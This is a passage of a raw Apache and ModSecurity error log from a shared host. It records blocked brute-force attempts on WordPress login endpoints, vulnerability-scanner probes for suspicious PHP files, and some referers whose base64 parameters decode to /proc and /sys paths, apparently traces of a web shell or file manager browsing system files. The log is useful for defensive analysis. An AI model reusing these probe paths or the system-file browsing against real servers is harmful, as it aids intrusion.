531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:08:41.686447 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:08:41.731323 2026] [security2:error] [pid 531797:tid 532049] [client 5.101.157.130:36965] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/news/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UfwAAAkc"] [Sat Jun 13 18:08:41.731497 2026] [security2:error] [pid 531797:tid 532049] [client 5.101.157.130:36965] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/news/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UfwAAAkc"] [Sat Jun 13 18:08:41.861790 2026] [security2:error] [pid 531797:tid 532029] [client 172.171.3.232:36946] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/kj.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UhQAAAjQ"] [Sat Jun 13 18:08:41.987771 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:08:41.988079 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:08:41.999839 2026] [security2:error] [pid 531797:tid 531977] [remote 54.90.28.43:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "forum.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UiQACc3A"] [Sat Jun 13 18:08:41.999874 2026] [security2:error] [pid 531797:tid 531977] [remote 54.90.28.43:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "forum.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UiQACc3A"] [Sat Jun 13 18:08:42.057967 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.95:41233] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:42.058401 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.95:41233] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:42.076391 2026] [security2:error] [pid 531155:tid 531289] [client 5.101.157.130:36969] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/main/xmlrpc.php"] [unique_id "ai3xCimiP80klyS0NnrsRwAAAQ4"] [Sat Jun 13 18:08:42.076527 2026] [security2:error] [pid 531155:tid 531289] [client 5.101.157.130:36969] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/main/xmlrpc.php"] [unique_id "ai3xCimiP80klyS0NnrsRwAAAQ4"] [Sat Jun 13 18:08:42.114125 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.110:47422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:42.114583 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.110:47422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:42.195548 2026] [security2:error] [pid 531155:tid 531307] [client 189.217.192.30:49599] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3xCSmiP80klyS0NnrsPwAAASA"] [Sat Jun 13 18:08:42.213687 2026] [security2:error] [pid 531797:tid 531984] [remote 17.22.237.47:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 47.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xCsTA7b1mZrmcA-8UkgACfnc"] [Sat Jun 13 18:08:42.226417 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:08:42.226890 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:08:42.295883 2026] [access_compat:error] [pid 531797:tid 531910] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:08:42.296310 2026] [access_compat:error] [pid 531797:tid 531910] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:08:42.388959 2026] [security2:error] [pid 531155:tid 531236] [remote 74.7.227.22:45002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xCimiP80klyS0NnrsVAABZFA"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:08:42.423086 2026] [security2:error] [pid 531797:tid 532087] [client 5.101.157.130:36977] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/wp-site/xmlrpc.php"] [unique_id "ai3xCsTA7b1mZrmcA-8UmwAAAm0"] [Sat Jun 13 18:08:42.423185 2026] [security2:error] [pid 531797:tid 532087] [client 5.101.157.130:36977] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/wp-site/xmlrpc.php"] [unique_id "ai3xCsTA7b1mZrmcA-8UmwAAAm0"] [Sat Jun 13 18:08:42.630612 2026] [security2:error] [pid 531797:tid 532084] [client 20.151.217.54:46211] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/htto.php"] [unique_id "ai3xCsTA7b1mZrmcA-8UowAAAmo"] [Sat Jun 13 18:08:42.749899 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:08:42.750350 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:08:42.754000 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.12:54368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:42.754246 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.12:54368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:42.786358 2026] [security2:error] [pid 531797:tid 532077] [client 5.101.157.130:36989] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/old/xmlrpc.php"] [unique_id "ai3xCsTA7b1mZrmcA-8UqAAAAmM"] [Sat Jun 13 18:08:42.786465 2026] [security2:error] [pid 531797:tid 532077] [client 5.101.157.130:36989] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/old/xmlrpc.php"] [unique_id "ai3xCsTA7b1mZrmcA-8UqAAAAmM"] [Sat Jun 13 18:08:42.807179 2026] [security2:error] [pid 531155:tid 531334] [client 191.234.188.123:21646] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/dropdown.php"] [unique_id "ai3xCimiP80klyS0NnrsXAAAATs"] [Sat Jun 13 18:08:42.816341 2026] [security2:error] [pid 531155:tid 531218] [remote 17.241.75.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xCimiP80klyS0NnrsXgABYz4"] [Sat Jun 13 18:08:42.816751 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:08:42.817039 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:08:42.837426 2026] [security2:error] [pid 531155:tid 531390] [client 172.56.168.133:1052] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xCimiP80klyS0NnrsXwAAAXM"] [Sat Jun 13 18:08:42.837541 2026] [security2:error] [pid 531155:tid 531390] [client 172.56.168.133:1052] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xCimiP80klyS0NnrsXwAAAXM"] [Sat Jun 13 18:08:42.963525 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.48:48245] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:42.963973 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.48:48245] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:43.149734 2026] [access_compat:error] [pid 531797:tid 531979] [remote 57.141.14.88:53800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:43.150008 2026] [access_compat:error] [pid 531797:tid 531979] [remote 57.141.14.88:53800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:43.271482 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTM1MTcyL2N3ZA== [Sat Jun 13 18:08:43.271794 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTM1MTcyL2N3ZA== [Sat Jun 13 18:08:43.333221 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:08:43.333504 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:08:43.505113 2026] [security2:error] [pid 531155:tid 531327] [client 5.101.157.130:28087] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3xCymiP80klyS0NnrscgAAATQ"] [Sat Jun 13 18:08:43.505218 2026] [security2:error] [pid 531155:tid 531327] [client 5.101.157.130:28087] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3xCymiP80klyS0NnrscgAAATQ"] [Sat Jun 13 18:08:43.569542 2026] [security2:error] [pid 531155:tid 531313] [client 20.9.67.71:64710] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/invisi.php"] [unique_id "ai3xCymiP80klyS0NnrscwAAASY"] [Sat Jun 13 18:08:43.682376 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:08:43.682811 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:08:43.684542 2026] [security2:error] [pid 531797:tid 532008] [client 5.101.157.130:36993] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/wp-login.php"] [unique_id "ai3xC8TA7b1mZrmcA-8UvwAAAiA"] [Sat Jun 13 18:08:43.739830 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.41:41711] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:43.740220 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.41:41711] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:43.779202 2026] [security2:error] [pid 531797:tid 531875] [remote 144.76.119.9:17192] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3xC8TA7b1mZrmcA-8UwQACIQs"] [Sat Jun 13 18:08:43.793799 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.34:28174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:43.794077 2026] [access_compat:error] [pid 531155:tid 531174] [remote 57.141.14.34:28174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:43.878367 2026] [security2:error] [pid 531797:tid 531907] [remote 17.241.227.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id 